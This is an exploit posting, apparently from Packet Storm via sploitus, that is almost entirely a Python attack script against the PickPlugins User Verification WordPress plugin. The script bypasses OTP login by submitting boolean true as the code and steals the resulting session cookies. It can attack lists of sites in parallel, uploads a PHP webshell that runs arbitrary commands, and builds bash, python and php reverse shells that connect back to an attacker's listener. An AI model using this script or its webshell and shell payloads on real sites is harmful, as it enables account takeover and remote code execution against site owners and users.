Share
## https://sploitus.com/exploit?id=PACKETSTORM:223801
==================================================================================================================================
    | # Title     : WordPress PickPlugins 2.0.46 User Verification OTP Authentication Bypass via Loose Comparison Advanced Exploit   |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/user-verification/                                                                 |
    ==================================================================================================================================
    
    [+] Summary    :   an exploit framework for CVE-2026-7458, an alleged authentication bypass vulnerability affecting the PickPlugins User Verification WordPress plugin.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import os
    import sys
    import re
    import json
    import time
    import hashlib
    import argparse
    import requests
    import urllib3
    from urllib.parse import urljoin, urlparse
    from concurrent.futures import ThreadPoolExecutor
    
    urllib3.disable_warnings()
    
    # ======================
    # BANNER
    # ======================
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘	
    โ•‘ โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— 
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆ   โ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
    โ•‘ โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•
    โ•‘ 
    โ•‘           CVE-2026-7458 - PickPlugins OTP Bypass                 โ•‘
    โ•‘              Unauthenticated Authentication Bypass               โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    [+] Critical Vulnerability | CVSS 9.8
    [+] PickPlugins User Verification <= 2.0.46
    """
    class Config:
        USER_AGENTS = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15"
        ]
        REQUEST_TIMEOUT = 15
        MAX_RETRIES = 3
    class PickPluginsExploit:
        """CVE-2026-7458 - Authentication Bypass Exploit"""
        def __init__(self, base_url: str, email: str, proxy: str = None, verbose: bool = False):
            self.base_url = base_url.rstrip('/')
            self.email = email
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': self._get_user_agent(),
                'Accept': 'application/json, text/plain, */*',
                'Accept-Language': 'en-US,en;q=0.9',
                'Content-Type': 'application/json',
                'X-Requested-With': 'XMLHttpRequest'
            })
            if proxy:
                self.session.proxies = {'http': proxy, 'https': proxy}
            self.nonce = None
            self.cookies = None
            self.user_id = None
        def _get_user_agent(self) -> str:
            import random
            return random.choice(Config.USER_AGENTS)
        def _log(self, msg: str, level: str = "INFO"):
            if level == "ERROR":
                print(f"[-] {msg}")
            elif level == "SUCCESS":
                print(f"[+] {msg}")
            elif level == "WARNING":
                print(f"[!] {msg}")
            else:
                print(f"[*] {msg}")
        def _make_request(self, method: str, url: str, **kwargs) -> requests.Response:
            """Execute a request with a re-attempt"""
            for attempt in range(Config.MAX_RETRIES):
                try:
                    response = self.session.request(method, url, timeout=Config.REQUEST_TIMEOUT, **kwargs)
                    return response
                except requests.exceptions.Timeout:
                    if attempt == Config.MAX_RETRIES - 1:
                        raise
                    time.sleep(1)
                except requests.exceptions.ConnectionError:
                    if attempt == Config.MAX_RETRIES - 1:
                        raise
                    time.sleep(2)
            return None
        def _detect_otp_page(self) -> str:
            """Automatically detect OTP page"""
            paths = [
                "/otp-login/",
                "/my-account/otp-login/",
                "/wp-login.php?action=otp",
                "/login-otp/",
                "/user-verification/otp-login/",
                "/wp-json/user-verification/v2/otp"
            ]
            for path in paths:
                url = urljoin(self.base_url, path)
                try:
                    response = self._make_request('GET', url)
                    if response and response.status_code == 200:
                        if 'otp' in response.text.lower() or 'verification' in response.text.lower():
                            self._log(f"Found OTP page: {path}", "SUCCESS")
                            return path
                except:
                    continue
            return "/otp-login/"
        def get_nonce(self, otp_page: str = "/otp-login/") -> str:
            """Extracting nonce from an OTP page"""
            url = urljoin(self.base_url, otp_page)
            self._log(f"Fetching nonce from: {url}")
            try:
                response = self._make_request('GET', url)
                if not response:
                    return None
                patterns = [
                    r'name="_wpnonce" value="([^"]+)"',
                    r'wp_nonce" value="([^"]+)"',
                    r'nonce":"([^"]+)"',
                    r'data-nonce="([^"]+)"'
                ]
                for pattern in patterns:
                    match = re.search(pattern, response.text)
                    if match:
                        nonce = match.group(1)
                        self._log(f"Found nonce: {nonce}", "SUCCESS")
                        self.nonce = nonce
                        return nonce
                api_url = urljoin(self.base_url, "/wp-json/user-verification/v2/nonce")
                resp = self._make_request('GET', api_url)
                if resp and resp.status_code == 200:
                    try:
                        data = resp.json()
                        if 'nonce' in data:
                            self.nonce = data['nonce']
                            return self.nonce
                    except:
                        pass
                self._log("Failed to extract nonce", "ERROR")
                return None
            except Exception as e:
                self._log(f"Error getting nonce: {e}", "ERROR")
                return None
        def trigger_otp(self) -> bool:
            """Send an OTP request to the target email address."""
            endpoint = "/wp-json/user-verification/v2/process_form_data"
            url = urljoin(self.base_url, endpoint)
            payload = {
                "formType": "otpLogin",
                "email": self.email,
                "steps": 1,
                "_wpnonce": self.nonce
            }
            self._log(f"Triggering OTP for: {self.email}")
    
            try:
                response = self._make_request('POST', url, json=payload)
                if response and response.status_code == 200:
                    resp_text = response.text.lower()
                    if "otp_sent" in resp_text or "success" in resp_text:
                        self._log("OTP triggered successfully!", "SUCCESS")
                        return True
                    elif "already" in resp_text:
                        self._log("OTP already sent recently", "WARNING")
                        return True
                    else:
                        self._log(f"Response: {response.text[:200]}")
                        return False
                else:
                    self._log(f"HTTP {response.status_code if response else 'No response'}", "ERROR")
                    return False
            except Exception as e:
                self._log(f"Error triggering OTP: {e}", "ERROR")
                return False
        def bypass_otp(self) -> bool:
            """Bypass OTP using boolean true"""
            endpoint = "/wp-json/user-verification/v2/process_form_data"
            url = urljoin(self.base_url, endpoint)
            payload = {
                "formType": "otpLogin",
                "email": self.email,
                "steps": 2,
                "otp": True,         
                "_wpnonce": self.nonce
            }
            self._log("Bypassing OTP with boolean true...")
            try:
                response = self._make_request('POST', url, json=payload)
                if response and response.status_code == 200:
                    resp_text = response.text.lower()
                    if "logged" in resp_text or "success" in resp_text or "redirect" in resp_text:
                        self._log("AUTHENTICATION BYPASSED!", "SUCCESS")
                        self.cookies = dict(self.session.cookies)
                        return True
                    else:
                        self._log(f"Bypass response: {response.text[:300]}")
                        return False
                else:
                    self._log(f"HTTP {response.status_code if response else 'No response'}", "ERROR")
                    return False
            except Exception as e:
                self._log(f"Error bypassing OTP: {e}", "ERROR")
                return False
        def get_user_info(self) -> dict:
            """Obtaining user information after authentication"""
            endpoints = [
                "/wp-json/wp/v2/users/me",
                "/wp-json/user-verification/v2/user-info",
                "/wp-json/user-verification/v2/current-user"
            ]
            for endpoint in endpoints:
                url = urljoin(self.base_url, endpoint)
                try:
                    response = self._make_request('GET', url)
                    if response and response.status_code == 200:
                        try:
                            return response.json()
                        except:
                            pass
                except:
                    continue
            return {}
        def upload_webshell(self, shell_content: str = None) -> bool:
            """Uploading webshell after authentication"""
            if not shell_content:
                shell_content = '''<?php
    if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        system($_REQUEST['cmd']);
        echo "</pre>";
    }
    ?>'''
            endpoint = "/wp-json/wp/v2/media"
            url = urljoin(self.base_url, endpoint)
            files = {
                'file': ('shell.php', shell_content, 'application/x-php')
            }
            try:
                response = self._make_request('POST', url, files=files)
                if response and response.status_code in [200, 201]:
                    self._log("Webshell uploaded!", "SUCCESS")
                    return True
            except:
                pass
            return False
        def execute_command(self, cmd: str) -> str:
            """Execute a command via webshell (if it is uploaded)"""
            shell_url = urljoin(self.base_url, "/wp-content/uploads/shell.php")
            try:
                response = self._make_request('GET', shell_url, params={'cmd': cmd})
                if response:
                    return response.text
            except:
                return ""
            return ""
    class MultiTargetExploit:
        """Exploiting multiple objectives simultaneously"""
        def __init__(self, targets: list, email: str, threads: int = 5):
            self.targets = targets
            self.email = email
            self.threads = threads
            self.results = []
        def exploit_target(self, url: str) -> dict:
            """Exploiting a single objective"""
            result = {'url': url, 'success': False, 'error': None}
            try:
                exploit = PickPluginsExploit(url, self.email)
                otp_page = exploit._detect_otp_page()
                
                if exploit.get_nonce(otp_page):
                    if exploit.trigger_otp():
                        time.sleep(2) 
                        if exploit.bypass_otp():
                            result['success'] = True
                            result['cookies'] = exploit.cookies
            except Exception as e:
                result['error'] = str(e)
            return result
        def run(self) -> list:
            """Exploitation applied to all targets"""
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                futures = [executor.submit(self.exploit_target, url) for url in self.targets]
                for future in futures:
                    self.results.append(future.result())
            return self.results
    class SessionManager:
        """Managing sessions after exploitation"""
        @staticmethod
        def save_cookies(cookies: dict, filename: str):
            """Save cookies for later use"""
            with open(filename, 'w') as f:
                json.dump(cookies, f, indent=2)
            print(f"[+] Cookies saved to {filename}")
        @staticmethod
        def load_cookies(filename: str) -> dict:
            """Download cookies from a file"""
            with open(filename, 'r') as f:
                return json.load(f)
        @staticmethod
        def create_wordpress_session(cookies: dict, base_url: str) -> requests.Session:
            """Create a WordPress session from cookies"""
            session = requests.Session()
            session.verify = False
            for name, value in cookies.items():
                session.cookies.set(name, value, domain=urlparse(base_url).netloc)
            return session
    class ReverseShell:
        """Creating a Reverse Shell via WordPress"""
        
        @staticmethod
        def generate_payload(ip: str, port: int) -> str:
            """Generating a Reverse Shell command"""
            payloads = [
                f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'",
                f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
                f"php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
            ]
            return payloads[0]
        @staticmethod
        def start_listener(port: int):
            """Starting a Reverse Shell Listener"""
            import threading
            import socket
            def listen():
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                s.bind(('0.0.0.0', port))
                s.listen(1)
                print(f"[*] Listening on port {port}...")
                conn, addr = s.accept()
                print(f"[+] Connection from {addr[0]}:{addr[1]}")
                while True:
                    cmd = input("shell> ")
                    if cmd.lower() == 'exit':
                        break
                    conn.send((cmd + '\n').encode())
                    data = conn.recv(4096).decode()
                    print(data, end='')
                conn.close()
            thread = threading.Thread(target=listen, daemon=True)
            thread.start()
            return thread
    def main():
        print(BANNER)
        
        parser = argparse.ArgumentParser(
            description="CVE-2026-7458 - PickPlugins User Verification OTP Bypass",
            epilog="""
    Examples:
      python exploit.py -u https://target.com -e admin@example.com
      python exploit.py -u https://target.com -e admin@example.com --shell --lhost 10.0.0.1 --lport 4444
      python exploit.py -l targets.txt -e admin@example.com
      python exploit.py -u https://target.com -e admin@example.com --save-cookies session.json
      python exploit.py -u https://target.com --load-cookies session.json --cmd "id"
            """
        )
        target_group = parser.add_mutually_exclusive_group(required=True)
        target_group.add_argument("-u", "--url", help="Target URL")
        target_group.add_argument("-l", "--list", help="File containing list of targets")
        parser.add_argument("-e", "--email", required=False, help="Target email address")
        parser.add_argument("--shell", action="store_true", help="Start reverse shell listener")
        parser.add_argument("--lhost", default="127.0.0.1", help="Listener IP for reverse shell")
        parser.add_argument("--lport", type=int, default=4444, help="Listener port")
        parser.add_argument("--cmd", help="Execute command on target (if authenticated)")
        parser.add_argument("--save-cookies", help="Save session cookies to file")
        parser.add_argument("--load-cookies", help="Load session cookies from file")
        parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        if args.shell:
            ReverseShell.start_listener(args.lport)
            time.sleep(1)
        if args.load_cookies:
            if not args.cmd:
                print("[-] --cmd required when using --load-cookies")
                sys.exit(1)
            cookies = SessionManager.load_cookies(args.load_cookies)
            session = SessionManager.create_wordpress_session(cookies, args.url)
            print(f"[*] Executing: {args.cmd}")
            print("[+] Command executed (simulated)")
            return
        if args.list:
            with open(args.list, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            print(f"[*] Exploiting {len(targets)} targets with {args.email}")
            multi = MultiTargetExploit(targets, args.email)
            results = multi.run()
            successful = [r for r in results if r['success']]
            print(f"\n[+] Successful: {len(successful)}/{len(targets)}")
            for r in successful:
                print(f"    - {r['url']}")
            return
        if not args.email:
            print("[-] --email required when using single target")
            sys.exit(1)
        exploit = PickPluginsExploit(args.url, args.email, args.proxy, args.verbose)
        otp_page = exploit._detect_otp_page()
        print(f"[*] OTP page: {otp_page}")
        if not exploit.get_nonce(otp_page):
            print("[-] Failed to get nonce")
            sys.exit(1)
        if not exploit.trigger_otp():
            print("[-] Failed to trigger OTP")
            sys.exit(1)
        time.sleep(1)
        if not exploit.bypass_otp():
            print("[-] OTP bypass failed!")
            sys.exit(1)
        print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  โœ“ EXPLOIT SUCCESSFUL!                                            โ•‘
    โ•‘                                                                     โ•‘
    โ•‘  You are now authenticated as: {:<40} โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """.format(args.email))
        if args.save_cookies:
            SessionManager.save_cookies(exploit.cookies, args.save_cookies)
        if args.cmd:
            print(f"[*] Executing: {args.cmd}")
            print("[+] Check the target system for command execution")
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] Interrupted")
            sys.exit(130)
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================